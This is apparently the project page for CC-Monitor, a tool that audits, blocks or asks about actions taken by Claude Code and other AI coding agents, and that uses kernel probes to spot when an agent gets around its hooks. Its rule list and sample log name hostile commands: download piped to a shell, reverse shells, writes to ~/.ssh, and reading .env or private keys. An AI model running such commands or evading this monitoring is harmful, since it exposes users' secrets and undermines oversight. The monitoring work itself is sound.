CC-Monitor: Monitor & audit every action
Claude Code takes on your computer.
CC-Monitor is a small tool I wrote for myself. It records every file Claude Code reads or writes, every shell command it runs, every network connection it opens. The obviously dangerous stuff gets blocked. The borderline stuff asks you first. Everything else is quietly logged so you can go back and look.
rm -rf ~/projects block
sudo apt install … confirm
A few questions that kept me up at night
Letting an AI agent write code is great. It is also really running shell commands on your box and really writing to your files. After a while I realised I couldn't answer a single one of the questions below. This project is me answering them one at a time.
What commands did it just run?
Dozens of tool calls scroll past, and by the time you look up all that's left is "Done". Want to go back and check? There's nowhere to check.
CC-Monitor tail shows it live, with commands syntax-highlighted.What if it fat-fingers an rm -rf?
Claude Code has its own permission prompts, but after you've clicked "always allow" a few times they stop meaning much. The one dangerous command is buried in a pile of normal ones.
curl | bash, reverse shells, writes into ~/.ssh: denied outright, no matter what you clicked "always allow" on before.Did it read my .env or my keys?
The model reads .env, ~/.ssh/id_rsa, your browser's password store, and you get no notice at all. Maybe it just "took a look". Maybe it already put the contents in a commit.
cat/grep/python -c open() gets caught too. Writing AWS/GitHub/Anthropic-style secrets into a file is flagged as well.What if the hook itself gets changed?
Every hook-based monitor rests on one assumption: Claude Code honestly calls it. Edit settings.json and the monitoring quietly disappears, and nobody notices.
claude process tree's execve/connect straight from the kernel and cross-checks against the hook log. Probe saw it, hook didn't log it: flagged.Where did it connect to?
The model runs curl, git clone, pip install. Where is the data going? Packet capture means installing a CA cert; a proxy is too much ceremony.
connect() and the hostname from getaddrinfo. No TLS termination, no certificate. The Web UI has a detail table, GeoIP lookups and a world map.What was it thinking?
Hooks only see "which tool was called". They can't see the model's thinking or the full conversation. When something goes wrong, you're reconstructing from memory.
In one line: see it, stop it, look it up later
Underneath it's one Python script plus a rule table. Everything else is stacked on top. It works without the Web UI; it's a lot nicer with it.
Block the high-risk stuff
Bash / Write / Edit calls that hit a block rule are refused, and the reason is echoed back to Claude Code. It knows why it was stopped and usually picks a safer route.
Ask on the borderline stuff
Medium-risk operations prompt in the terminal for a y, plus a desktop notification. With the Web UI running there's a copy on the page too. Answer wherever; first answer wins. The prompt leads with one plain-language line on what the operation is and why it needs you; the rule id is small print. No tty or timeout means deny.
Too noisy? Dial it down to watch-only
Three intervention levels, switchable any time. Enforcing is the default: it blocks what it should and asks about the rest. Permissive still evaluates every rule and still records the risk level and which rule matched, but never blocks and never prompts. Off doesn't even record — the same as not having it installed. The pair people confuse is the last two: neither one stops you, the difference is whether there's anything left to look at afterwards. If you just want fewer interruptions, pick Permissive, not Off. From the CLI: CC-Monitor audit permissive; in the browser it's one click.
Full audit trail
Every event goes to SQLite with the complete tool_input/tool_response. CLI and Web UI read the same data. One click archives it using SQLite's own backup().
Bypass detection
CC-Monitor verify takes what the probe saw in the kernel and matches it against what the hooks logged in the same time window. The ones that don't match are someone (or some model) working around the monitor. Linux only — this layer needs kernel-level execve observation, and the macOS probe uses nettop, which covers network only. On macOS the command says plainly that the platform can't do this check, rather than handing back an empty "no suspicious records".
Network destinations
Destination IP, port, hostname, bytes up/down, connection count, and a location if you have a local GeoIP database. The map is drawn in WebGL2 with no map-tile service behind it.
AI Tap
Pick a session and see the full content sent to and from the model: text, thinking, tool calls, tool results, token usage. This is the part the audit log deliberately hides, on its own page.
A terminal in the browser
node-pty spawns a real PTY, xterm.js renders it, WebGL when available. Multiple sessions can be tiled into a grid view on one screen.
Account & quota
Quota side: 5-hour session window, weekly quota, per-model weekly quota and reset times, each with an hourglass showing how much of that window is left. Read from the OAuth credential Claude Code already stores, queried from Anthropic's own endpoint — the same source ccstatusline uses. Account side: 17 rows, eight identity fields plus four identifiers plus this machine's Claude Code state (version / install method / auto-updates / configured MCP count). One click turns the name, email, org name and the four identifiers into ***, which is all you need before a screenshot.
Linux and macOS
Hooks and the rule engine are identical on both. The system-layer probe is eBPF on Linux and the built-in nettop on macOS (no root, network only). Verified on real Apple Silicon.
Cross-workdir detection
Regexes can't see the cwd, so this layer fills the gap: every path a tool call is about to touch is resolved to an absolute path and compared with the project root — Bash commands are split into sub-commands, cd is tracked, redirects and rm / cp / tee-style writes are recognised. Anything outside is tiered by location (hidden home config, other users, system dirs, other projects) × read / write: writes to sensitive places ask first, the rest is logged. Reads inside system dirs, temp dirs and Claude's own state dir don't count.
No magic, just two layers doing their own jobs
Above was "what". This is "how". Every item maps directly onto the source; the long version is in DESIGN.en.md.
hookHow interception works
- Before and after every tool call, Claude Code writes a JSON payload to the hook command's stdin and waits for it to exit.
CC-Monitor-hookexiting with code 2 means deny. Whatever it wrote to stderr is shown back to Claude Code.- It's a one-shot subprocess per call, not a daemon. There's no "the monitor died and now nothing is enforced" failure mode, and you never restart anything after editing rules. The next call picks them up.
rulesRule engine
- An ordered list, tried top to bottom, first match wins. Specific rules go before general ones.
- Each rule says which tools it applies to, which
tool_inputfield to read, a regex, a risk level and an action, plus a human-readabletitle/descthe approval prompt uses to explain itself. - Copied to
~/.cc-monitor/rules.jsonon first use; edit it however you like. Rules added by later versions merge in by id, and anything you edited or deleted is left alone. - When the rule set changes, historical events get re-tagged in the background under the new rules (only risk and matched rule; the original allow/block decision is never rewritten), so the home-page counts don't carry stale hits forever.
eBPFSystem-layer probe
probe_linux.btattaches to the kernel'sexecve/connecttracepoints, recognises Claude Code bycomm=="claude", then listens forsched_process_forkand passes a "being monitored" flag down to every descendant. Renamed child processes are still tracked.- Hostnames don't come from reverse DNS: a
uprobe:libc:getaddrinforecords the name the moment the application resolves it. Plenty of cloud egress IPs never had a PTR record, so reverse lookup would find nothing. - Byte counts come from
tcp_sendmsg/tcp_cleanup_rbuf, aggregated per (ip, port). verifynormalises quotes when matching, to cope with how zsh's snapshot wrapper escapes them.
tapWhere AI Tap gets the conversation
- The hook payload includes a
transcript_pathpointing at the conversation JSONL Claude Code writes locally. - Read that file, parse the
user/assistant/tool_use/tool_resultentries, and the whole conversation comes back. No capture, no certificate, no proxy. - Context compaction count is a real detection of
compact_boundaryevents in the transcript. Context usage % is estimated against a 200K window, because Claude Code doesn't tell the hook the exact size.
quotaWhere the account quota comes from
- The OAuth token Claude Code itself stores (Linux:
~/.claude/.credentials.json; macOS: the login Keychain), used to callapi.anthropic.com/api/oauth/usage. - Same credential and same endpoint ccstatusline uses. I did not build a separate usage tracker.
- The account profile is read from the local
~/.claude.json: identity fields and the two UUIDs come from itsoauthAccount, while machine ID / user ID / install method / auto-updates / the MCP list come from the same file's top level.subscriptionTypeand the rate-limit tier also exist in the OAuth credential and can disagree with theiroauthAccountcounterparts — the disagreement is itself a signal, so both are shown. All of this is local file reads, zero network calls. - The one exception is the Claude Code version:
claude --versionis run once for an authoritative answer and cached in-process. If that fails it falls back to the local versions directory or the config file, which are approximations — labelled as such in the UI rather than passed off as exact.
ptyWeb terminal
node-ptyspawns a real pseudo-terminal, no different from opening a terminal window locally, then typesclaude\rinto it.- The first time Claude Code opens an untrusted directory it shows a "trust this folder?" prompt defaulting to "No, exit". That banner is detected and answered Yes automatically. Otherwise the next stray Enter would silently exit Claude Code while the terminal still looked perfectly fine.
- "New Window" is the same thing minus the
claude\r, for when you just want a shell to run a script.
87 default rules, three risk tiers, three actions
Rules are regexes, nothing more. I tried to tier them by "how likely is this to wreck the machine or walk off with data", not by "does this look suspicious", because if it nags you'll turn it off.
| Action | Behaviour | Used for |
|---|---|---|
| block | Denied outright; reason echoed to Claude Code | Things an AI has no legitimate reason to do: rm -rf /, disk overwrites, fork bombs, reverse shells, writing authorized_keys |
| confirm | Terminal + desktop notification + web page wait for a y; no tty or timeout means deny | Maybe legitimate but you should know: sudo, global npm installs, git push --force, crontab / systemd changes, editing Claude Code's own config |
| log | Allowed, but recorded | Normal but worth a trace: local pip/npm installs, sensitive-file reads, ordinary kill, outbound requests |
| notify | No block, no prompt; just mirrors Claude's question to the approvals page | AskUserQuestion-style clarifying questions, with your answer recorded alongside |
- blockDangerous deletes, dd over a disk,
curl | bash, encoded payloads piped to a shell, recursive chmod 777, webshell patterns in written content - blockWrites to
~/.ssh/, credential files, system directories; disabling security controls (firewall, SELinux and the like) - confirmkill/pkill aimed at CC-Monitor's own probe or hook (a generic kill is log-only, otherwise it's too noisy)
- confirmSSH tunnels / reverse proxies, C2 frameworks, post-exploitation tools, mining-pool domains, Docker privileged mode or mounting docker.sock
- confirmDROP / DELETE / TRUNCATE / FLUSHALL sent straight to a database CLI; reading browser credential stores; reading
/proc/*/environ - confirmAWS / GitHub / Anthropic / OpenAI / Slack / Stripe key prefixes or private-key headers showing up in written content
- confirmWriting outside the current project into a sensitive location: hidden home-dir config (
~/.xxx), another user's home, system directories. Reads/writes into other project directories and reads of system directories are log-only — the boundary is the project root (.git/CLAUDE.mdmarkers), not the hook's cwd - logReading shell history,
.envor cloud VPN configs viacat/grep/history; dumping the whole environment withenv/printenv
// one entry from ~/.cc-monitor/rules.json
{
"id": "curl_pipe_shell",
"risk": "high",
"action": "block",
"title_en": "Download piped straight into a shell",
"desc_en": "Content fetched from the network is executed without ever being saved…",
"tools": ["Bash"],
"field": "command",
"pattern": "(curl|wget)\\b.*\\|\\s*(sudo\\s+)?(ba|z|)sh\\b",
"match": "search"
}
// two match modes:
// search — regex over the whole command text. For "mentions X anywhere"
// rules (paths, redirections, download piped into a shell).
// segment — split the command on ; && | first, strip sudo/env/xargs/time
// and path prefixes, anchor the regex at the start of each
// sub-command. For "is this program actually being run" rules
// (package installs, sudo). Recurses into bash -c "..." and
// osascript shell bodies.
// workdir — not a regex: looks at where the paths this call touches sit relative
// to the project root (cross-workdir detection); scopes / access pick
// the tier, ignore_paths whitelists.
// title / desc are for humans: the approval card and terminal prompt lead with them;
// the rule id is small print.
// Save and you're done; the next tool call uses the new rules.
// New defaults from later versions merge in by id; your edits are kept.
What each Web UI page is for
The Web UI is a standalone Node service under webui/, listening on 127.0.0.1:9999 by default.
Eight pages, each answering one kind of question, all sharing one header pattern — a short title plus an ⓘ that holds the long explanation on hover. In top-bar order:
Home
The question it answers: "How are things right now, how much did it do today, and what's worth a look?" A compact dashboard: a status strip on top, then groups for Account & quota / Security / Activity / Commands / Distribution. Nearly every card opens a detail view; the ⓘ next to each group title holds the full explanation on hover.
- Status stripFive horizontal cards: intervention level (enforcing / permissive / off, plus how many
claudeprocesses were found and which OS user each runs as — a user mismatch with the Web UI is flagged loudly, since each side resolves~/.cc-monitor/from its own$HOME), sessions monitored (with active Web UI terminals and the vital-sign badge), pending approvals (click jumps to the desk), blocked + suspected bypasses, session quota remaining. The "how are things" numbers that used to be scattered across the page, in one row. - ToolbarThe intervention-level segmented control, archive / clear current data, sync update and allow-remote-access on one line, each group with an ⓘ carrying the explanation that used to be a paragraph. All three levels sit side by side, click one to go straight there, and the active one is highlighted in its color (Enforcing purple / Permissive green / Off yellow), with a line underneath that follows whichever level is active. Permissive still evaluates rules and logs, but never blocks or asks; Off does nothing at all and asks for confirmation before switching.
- Account & quota17 rows of account info on the left: identity (name / email / org / role / plan / rate-limit tier / billing / two dates), four identifiers (account UUID / org UUID / user ID / machine ID, truncated with the full value on hover), and this machine's Claude Code state (version / install method / auto-updates / configured MCP count). "Hide sensitive info" beside the heading turns the name, email, org name and the four identifiers into
***in one click (tooltips included), which is what you want before a screenshot; the rest are account attributes rather than identity and stay visible. On the right, on the right the session-quota-remaining, weekly and per-model weekly cards plus the limits table — one two-column row. Per-model quotas the API doesn't return (plans without separate Sonnet / Opus limits) are simply not drawn, rather than shown as "-". - SecuritySix red cards side by side: sensitive operations, sensitive data, advanced threats, cross-workdir operations, screenshots / viewed images, reverse-engineering tools, each with a one-line coverage hint underneath (the cross-workdir card shows live read / write / sensitive-location counts). Approximated from matched rules, not exact; click for the category breakdown.
- ActivityTotal events, tool calls (
hook_preonly), subagent spawns (grouped bysubagent_type), AI trajectory (targets the probe observed plus ones inferred from wget/curl/git clone/ssh command text, tagged "inferred"), Skill calls; the three low-frequency counters MCP / Glob·Grep / TodoWrite share one card with each number clickable on its own. Two boxes below: file operations (read / write / edit / delete) and software installs across seven groups (pip / uv / other Python package managers / JS package managers / system package managers / toolchain and version managers / other — only the ones writing into the system ask first; those landing in a project or home directory are just logged). - Command operationsSeven dense cards: GitHub, SSH, downloads, Docker, archives, network diagnostics, process management / backgrounding; click for per-category totals and every command.
- DistributionThree bar lists: event type / risk level / decision. The six event types each get their own color, from a palette run through readability checks (lightness band, chroma floor, adjacent-pair CVD separation, contrast against the surface), with separate values for light and dark themes.
- Screenshot auditClaude Code has no screenshot tool, so this is identified from three signals: a Bash call to a screenshot CLI, Read opening an image file, or an MCP / computer-use screenshot action. Shows only time and command; the image itself is never read or rendered.



Status
The question it answers: "Which model is each session on, how many tokens has it burned, how much quota is left?"
- Account & quotaThe same two-column layout as Home, with the same 17 rows of account info; on the right the 5-hour session window, weekly quota and per-model weekly quota cards plus the limits table and reset times. Each reset time sits beside an hourglass whose remaining sand is the time left in that window, colored to match the card's health, so you can feel how full it is without reading the number. From
api.anthropic.com/api/oauth/usage, same as ccstatusline. - Model usage tableToken usage summed per model (Sonnet / Opus / Fable…) across every monitored session.
- One row per sessionModel, tokens, throughput (tok/s, estimated from the transcript), and a
Σ Total / Cachedsummary using ccstatusline's accounting (total = input + output + cached; cached = cache-read + cache-creation). - Context usage %Estimated against a 200K window. Claude Code doesn't tell the hook the exact size, so it's an approximation.
- Context compactionsThis one is real: it detects
compact_boundaryevents in the transcript. - Alsocwd, git branch, uptime, blocked-operation count.
Network
needs CC-Monitor-probe runningThe question it answers: "Where did the Claude Code process tree actually connect, and how much moved?" All from the system-layer probe, not packet capture.
- Destination listIP, port, hostname, bytes up / down, connection count, location. Hostnames come from the
getaddrinfouprobe on Linux and fall back to reverse DNS on macOS. - Connection detailThe count on each row is clickable, as are the two summary cards (total connections / distinct IPs): time, originating process and PID of every connection.
- World mapWebGL2, equirectangular projection, a bundled low-res coastline, no tile service. Each connection draws an arc from a schematic anchor to the destination with a light dot travelling along it, in whichever direction moved more bytes. Falls back to Canvas 2D when WebGL2 is missing.
- Why the anchor is at (0,0)That's open ocean. I deliberately don't ask a third party "what's my public IP" to locate you. It's a drawing origin, not your position.
- GeoIPLocal database only, no per-IP API calls.
install.shdownloads the no-signup DB-IP Lite by default; MaxMind GeoLite2 works too. Without one, the location column and map are just empty and the page says so instead of inventing data. - Probe not runningThe page is empty, not broken.
Terminal Sessions
The question it answers: "Can I open Claude Code right here without switching windows?" Yes.
- New SessionPick a working directory; the backend spawns a PTY via
node-ptyand typesclaude\r. The first-time "trust this folder?" prompt is answered Yes for you. - New WindowSame directory picker, minus the
claude\r. For when you just want a shell. - Renderingxterm.js + WebGL addon, GPU when available, Canvas otherwise. The top bar shows which one is in use.
- Grid viewThe sidebar switches to a herdr-style grid with every live session on one screen. Click a pane to send keyboard input to it.
- Vital-sign dotEach session has a dot that fades continuously with activity, flatlines after an hour idle, and keeps a colour floor so idle sessions never go fully grey.
127.0.0.1 only. The "allow access from other devices" switch on Home only sets a flag; the real boundary is the
address the process bound to at startup, which a web page can't change. To really expose it, an admin sets
CC_MONITOR_WEBUI_HOST=0.0.0.0 and restarts, and only then does the switch do anything.
AI Approvals
The question it answers: "Is anything waiting on me?" Mirrors Claude Code's "proceed?" prompts into the browser, in the spirit of Vibe Island's Allow/Deny card in the Mac notch, except cross-platform.
- Two kinds of requests land hereOperations our own rule table marks confirm; and Claude Code's native "Do you want to proceed?" (the
PermissionRequesthook event), for calls that matched no rule but Claude Code's own permission system wants a human on. - Plain language firstEach card leads with a one-line title such as "Confirm: git force push", then a line on why it needs you ("overwrites remote branch history; commits others already pulled may be lost"); the rule id and tool name are demoted to a small last line. All 87 rules carry these two sentences (
title/desc— editrules.jsonand the page follows); Claude Code's native prompts get a per-tool sentence. The terminal prompt and desktop notification carry the same explanation. - First answer winsThe same request can be answered with y/N at the terminal or with a click here. Allowing from the web page makes Claude Code skip its own popup, so you're never asked twice.
- The safety net staysIf nobody answers within 90s, or you press Enter at the terminal, the request is handed back untouched to the native dialog. Installing CC-Monitor never removes that.
- OptionsAllow once, deny once, allow and don't ask for 10 / 30 minutes, always allow for this session.
- Desktop notificationsBrowser Notification API, works with the tab closed, click to jump back. The Electron build goes a different route: system alert sound + Dock bounce + badge count.
- History tableEvery resolved request is kept: time, session, tool, matched rule (shown as its plain title, hover for the id), outcome, resolved via. For
AskUserQuestion-type records it also captures what you actually answered at the terminal. "Clear current data" leaves this table alone.
Log Audit
CLI equivalent: CC-Monitor tailThe question it answers: "What operation happened, what risk level, allowed or blocked?" This is the security-audit view, and the content is deliberately redacted.
- Full-width live listFilterable by session; the dropdown shows "folder · model · short ID" instead of a raw UUID.
- Same translation as the CLIRaw JSON becomes "event type + summary + result", Bash commands syntax-highlighted.
- What you seeWrite / Edit show only "path (N bytes)", TodoWrite shows only an item count, screenshots show only metadata. Never the actual content read or written.
- ColoursRisk / operation / status badges use fixed saturated colours that don't follow the theme; high-risk rows are bold red.
- How it differs from AI TapLog Audit reads events.db and answers "what did it do". AI Tap reads the transcript and answers "what did it say and think". Two data sources with two very different levels of restraint, not two views of the same thing.

AI Tap
CLI equivalent: CC-Monitor tap [--session ID] [-f]The question it answers: "What did Claude actually say and think in this session?" For recaps and debugging. Content is not redacted.
- Pick a session firstChoose one session from the dropdown at the top right, or "★ All sessions" to merge the most recent slice of every session in time order. With nothing selected the page says so instead of staying blank.
- Entry by entrytext / thinking / tool_use / tool_result / token usage, each field colour-coded. Including the thinking Log Audit can never show, because hooks only see the world at the tool-call boundary and thinking never crosses it.
- Data sourceThe transcript JSONL Claude Code writes locally, via the
transcript_pathin the hook payload. No capture, no MITM. - About empty "thinking"Newer models (Sonnet 5 / Opus 5 / Opus 4.8 / 4.7) default to
display: "omitted"at the API, so the thinking body never reaches the response and never reaches the local transcript. Opus 4.6 / Sonnet 4.6 and older do have it. When there's a body it expands fully; when there isn't, the page says why instead of pretending.
Historical Data
The question it answers: "Can I still see the data from before I cleared it last week?" Yes, if you archived before clearing.
- ListEach archive's time, event count, session count and time range. Open it or delete it.
- How the snapshot is takenSQLite's own
backup()API, not a file copy. It correctly handles data still sitting in the WAL journal, which a plain cp would miss. - Opening oneBrowse its events the same way Log Audit does, paged.
Top bar & appearance
Besides the page tabs, a few things live in the top bar permanently.
- Intervention level pillEnforcing / Permissive / Off, color-matched to the segmented control on Home, visible from every page.
- Approvals badgeThe number on the "AI Approvals" tab: how many requests are waiting on you.
- RendererWhether the terminal is currently on WebGL or Canvas.
- Theme dropdown10 palettes: Brand / Dark / Light / Dracula / Nord / Midnight / Ocean / Forest / Sunset / Rose.
- ⚙ AppearanceThemes as a swatch grid; interface font (system / monospace / serif / rounded / Kaiti / Heiti / Songti); font size 12 to 18px on a slider, with the whole app scaling proportionally via rem. Live preview, saved to localStorage.
- CJK fonts aren't bundledA full CJK font file is 17 to 21MB; making the first font switch that slow isn't worth it. The options are plain font-name references that work where the system already has the font.
- EN / 中 toggleTranslates the UI chrome (nav, buttons, titles, empty states, risk / status labels), not the data (command text, tool output, transcript content).
- Static assets are no-storeThis UI is still iterating fast; refresh after a code change and you get the latest, no cache to clear.
Works without a browser
Three executable scripts under bin/, standard-library Python, no build step.
make install symlinks them into /usr/local/bin; without it, ./bin/CC-Monitor runs in place.
| Command | What it does |
|---|---|
CC-Monitor tail | Live event view, Ctrl+C to quit. -v adds the raw JSON. Colour is automatic on a real tty; NO_COLOR or CC_MONITOR_COLOR=never turns it off. |
CC-Monitor audit | Switch the intervention level. start (enforcing) / permissive (logs and evaluates, never blocks or prompts) / stop (off, not even logging) / status. permissive also answers to observe, and the old name pause still works. |
CC-Monitor rules | List the rules currently in effect. |
CC-Monitor stats | Counts by risk level / decision. |
CC-Monitor verify | Commands the probe saw but the hooks never logged. Linux only. |
CC-Monitor tap | Terminal AI Tap. --session ID picks a session, -f follows. |
CC-Monitor rematch | Preview re-tagging historical events under the current rules; --apply does it for real. |
CC-Monitor workdir | List operations where the AI read or wrote files outside the current project — per-rule totals, then one row each. --limit N. |
CC-Monitor-hook | The hook Claude Code calls. You never run it by hand. |
sudo CC-Monitor-probe | System-layer probe. Root for bpftrace on Linux; no root on macOS, where it switches to nettop. |
CC_MONITOR_HOME moves the data directory (default ~/.cc-monitor/);
CC_MONITOR_COLOR forces colour on or off; CC_MONITOR_WEBUI_HOST changes the Web UI bind address;
CC_MONITOR_GEOIP_DB points at a GeoIP database.
14:02:11 PreToolUse Bash git status
allow —
14:02:13 PostToolUse Bash exit 0
14:02:40 PreToolUse Write ./src/api.ts (1.2 KB)
allow —
14:03:02 PreToolUse Bash npm install -g some-cli
confirm npm_global_install [medium]
waiting for terminal (y/N)… y → allow (via web)
14:05:18 PreToolUse Bash curl -fsSL https://x.y/i.sh | bash
BLOCK curl_pipe_shell [high]
14:05:19 PreToolUse Read ~/.ssh/id_ed25519
BLOCK sensitive_file_read [high]
14:06:44 PreToolUse Bash rm -rf ~/projects/old
BLOCK dangerous_delete [high]
14:07:01 PreToolUse Bash cat .env
allow sensitive_file_read_bash [medium, log]
Two minutes to install, one to remove
Every step the installer takes is idempotent and never overwrites config you already have.
Hooks are merged into the arrays in ~/.claude/settings.json, de-duplicated by command string; your existing hooks are untouched.
Just the core
Interception + audit + CLI. No npm or Python dependencies; it only registers the hooks in settings.json.
git clone https://github.com/cn0xroot/CC-Monitor.git
cd CC-Monitor
python3 install.py
# then restart Claude Code; only new sessions read the new config
The whole thing
One script, 5 steps: ccstatusline, hook registration, Web UI deps, probe check, GeoIP database. Each can be skipped individually.
./install.sh
./install.sh --skip-ccstatusline --skip-geoip
./start.sh # Web UI at http://127.0.0.1:9999
Want the system-layer probe
Linux needs bpftrace; macOS needs nothing. The probe is started by hand for now, there's no systemd unit yet.
sudo apt install bpftrace # Debian/Ubuntu
sudo ./bin/CC-Monitor-probe
# macOS, no sudo:
./bin/CC-Monitor-probe
Requirements
Hooks: Python 3.8+, standard library.
Web UI: Node.js ≥ 22. Not a number I picked; it's what better-sqlite3 declares in its engines field, and older Node fails halfway through install.
Desktop: npm run electron, Electron 44+. 33.x segfaults on startup on Zen 5, so don't roll it back.
What I've actually verified on: Ubuntu 24.04, Node 22.17, Python 3.13, Apple Silicon M4.
System path install / uninstall
sudo make install # /usr/local/lib/cc-monitor + /usr/local/bin
sudo make install PREFIX=/opt/cc-monitor
sudo make uninstall # code and symlinks only; remove hooks from settings.json yourself
How far each platform goes
| Capability | Linux | macOS | Notes |
|---|---|---|---|
| Hook interception / confirm / audit | ✓ | ✓ | Identical |
| Web UI / CLI / AI Tap / Approvals | ✓ | ✓ | Identical |
| System-layer network observation (IP / port / bytes) | ✓ eBPF | ✓ nettop | macOS samples every 2s, no root |
| Hostname capture | ✓ getaddrinfo uprobe | reverse DNS fallback | Cloud egress IPs often have no PTR |
| System-layer execve observation / bypass detection | ✓ | ✗ | macOS needs a signed Endpoint Security extension; not done |
| Desktop packaging | ✓ AppImage (x64 verified) | dmg builds, not fully verified | Developer ID signing needed for real notifications |
Beyond Claude Code: the dev branch extends the detection surface to every local AI agent
Everything above describes master — Claude Code only, verified by long daily use. The dev branch is wiring the same rules, approval desk, audit log and eBPF probe
to other AI coding agents, and widening what the kernel layer can see from "what ran, where it connected" to "which files changed, which ports opened, which session it belongs to".
Every agent except Claude Code is in an experimental / testing stage: implemented from each vendor's official docs or source, covered by unit tests, but only Antigravity CLI has had a full real-machine round (it surfaced 9 bugs, all fixed, see the table below), OpenClacky was verified by its contributor through the gem's own hook loader, and the rest have not been verified on real installs.
Not recommended for production; to try it, check it out separately with its own data directory and port so the master install is untouched.
Agent registry: "who is an agent" is data, not code
One cc_monitor/agents/<id>.json per agent: process signature (kernel comm, executable name, argv regex), hook protocol and config path, tool-name and argument-field mappings, session-file location, its own state dirs under home, project-root markers, config-tamper paths. No agent name is hard-coded anywhere; adding one is, in principle, one JSON file, and users can override per field with a same-named file in ~/.cc-monitor/agents/. Borrowed from AgentSight's -c comm list and record -- auto-discovery.
Hook adapters: nine protocols, one decision path
hook.py became "adapter parses stdin → agent-agnostic decide / approve / log → adapter emits what that agent understands". Other agents' tool names are translated into Claude Code vocabulary before reaching the engine (run_shell_command→Bash, write_to_file→Write, filePath→file_path, …), so the 87 rules, cross-workdir detection, approval desk and Web UI stats are one code path; the original name is kept in the record's native_tool. Deny formats differ: Codex permissionDecision=deny, Gemini {"decision":"deny"}, Cursor {"permission":"deny"}, Antigravity {"decision":"deny"}, the OpenCode plugin, Grok and OpenClacky (rewrite protocol) read exit code 2.
One command to enable, idempotent, never touches your existing config
python3 install.py --agent codex | gemini-cli | cursor | opencode | zcode | antigravity-cli | grok-cli | openclacky, or --agent all for every agent detected on the machine. Each config file is written from the registry (~/.codex/hooks.json, the hooks block of ~/.gemini/settings.json, ~/.cursor/hooks.json, ~/.zcode/cli/config.json, the cc-monitor group in ~/.gemini/config/hooks.json, ~/.grok/user-settings.json, the OpenCode plugin file, OpenClacky's ~/.clacky/hooks.yml — YAML, the generated block is fenced by a pair of markers, re-runs replace that block and never touch what you wrote yourself); existing entries are never duplicated and other people's hooks are left alone. With no flag the behaviour is byte-identical to master — verified as a no-op against a real ~/.claude/settings.json. --list and CC-Monitor agents show each agent's status (verified / experimental), install and hook state.
The probe recognises every agent's process tree
The bpftrace script is now a template: every compiled agent's comm (claude / codex / opencode / zcode / agy / grok, …) is rendered into a sched_process_exec probe and recognised in-kernel; node- / python-hosted agents (Gemini CLI, Aider) show the interpreter's comm, so a /proc scan matches them by argv. At start-up, agent trees already running are "seeded" into the watch set — which also fixes master's old "a Claude Code started before the probe is invisible" problem. New roots found while running restart bpftrace to include them (about a 1 s window). Launching agy from a Claude Code terminal makes agy its own root: its hook events are recorded under its own --agent, so kernel events go there too and cross-checking lines up — learned on a real machine, where the old rule flagged every one of its commands as a bypass.
Kernel-level file view: writes, deletes, renames, mkdirs, listening ports
After AgentSight's process_ext probe set: openat with write flags, unlinkat / unlink / rmdir, the renameat2 family, the mkdirat family, plus bind + listen. Delete / rename / mkdir are paired enter→exit and only successful calls are reported — the EEXIST of mkdir -p a/b/c on each ancestor and the ENOENT of rm -f missing are not noise. File-path rules apply to kernel-observed writes too: a pip / npm / script spawned by the agent writing ~/.ssh is invisible to hooks but hits sensitive_file_write here. The agent process writing a file directly with no hook Write / Edit record for the same path within 15 s is flagged hook_bypass_suspected. Ports bound on 0.0.0.0 / :: are marked medium risk. Pure reads are not reported.
Relative-path resolution: one step further than AgentSight
rm -r, mkdir -p and Python's shutil.rmtree operate level by level through directory fds; the kernel sees unlinkat(5, "f"). AgentSight aggregates the raw path as-is. Here, when openat returns successfully the task's fd table is consulted and, if the inode is a directory (checking O_DIRECTORY is not enough — Python opens directories without it), an OPENDIR line is emitted; together with dup / fcntl(F_DUPFD), fchdir, chdir and fork events, userland keeps "(pid, fd) → directory" and "pid → cwd" tables and resolves every relative path by lookup, never touching /proc (the process is gone within a millisecond, and a reused fd number can point at the wrong directory). Verified on this machine for all three tools, every level correct.
Kernel events attributed to sessions
On master, probe events carry no session id. On dev the hook process walks up the /proc parent chain from its own parent to the first recognisable agent process (Claude Code: hook ← sh ← claude) and records "session ↔ root pid + start time" in a sessions table; the probe looks each event up by root pid. Three evidence levels — hook parent chain (exact) > explicit CC-Monitor run registration > a guess at probe start by agent + cwd + recent activity — and strong evidence overrides weak, never the reverse. The Web UI now decides session liveness by "is the root process still alive" instead of guessing by cwd.
CC-Monitor run -- <cmd>: explicit binding
For agents with no hooks and no recognisable process signature (custom scripts, python my_agent.py, things inside containers): registers "this pid is that agent's root" in ~/.cc-monitor/run/<pid>.json, sets CC_MONITOR_AGENT / CC_MONITOR_SESSION for the process tree, then execs the command (same pid, no extra parent). The probe picks it up within 3 s and the registration is cleaned on exit; hooks fall back to the env var when --agent is absent, so a custom agent that speaks the Claude Code hook protocol is attributed correctly.
AI Tap reads three transcript formats
Session-file parsing detects the format by line shape: Claude Code's ~/.claude/projects JSONL; Antigravity CLI's brain/<id>/.system_generated/logs/transcript.jsonl (the real agy 1.2.6 step_index / source / type format — user input unwrapped from <USER_REQUEST>, the extra JSON-quoting layer on tool args removed); Codex's rollout-*.jsonl (from public docs). The Python and JS parsers are kept in sync. Assistant turns are labelled with the agent's name instead of always "Claude". Gemini's whole-file JSON, Cursor's agent-transcripts and the OpenCode / Grok SQLite session stores are not covered yet.
Noise and performance
Each hook invocation spawns sh → CC-Monitor-hook → python, and Claude Code's status line runs ps / stty / jj root / git rev-parse every few seconds — 68 % of os_exec rows in a real database were these; dev drops them entirely. File events: /proc /sys /dev dropped in-kernel; .git/, node_modules/, __pycache__/, caches, build dirs and each agent's own state dirs excluded in userland; one row per (root, path, op) per 60-second window plus an aggregate at expiry; a breaker at 200 events per second per root. The events table finally has indexes — master has none, so every poll is a full scan past a few tens of thousands of rows.
Web UI changes appear only when several agents coexist
An agent filter in the top bar — once set, every endpoint sees only that agent: the data layer carries the request's agent through AsyncLocalStorage into each query and rewrites FROM events into a subquery filtered to it, so none of the dozens of SQL statements change; the "Anthropic account & quota" block becomes that agent's "account & environment" panel (install path, version, signed-in account, auth type, whether the hook is installed, session count, models seen; none of them has a local quota API, and the quota card says so). A "Monitored AI agents" home card, agent badges on audit-log rows / the session dropdown / approval cards / the process drilldown (ten colours, experimental ones marked β), a "Kernel-level file / port observation" home card with drilldown, and a choice of which agent to launch in a new terminal session. With only Claude Code in the database all of it is hidden and the UI is identical to master.
New rules
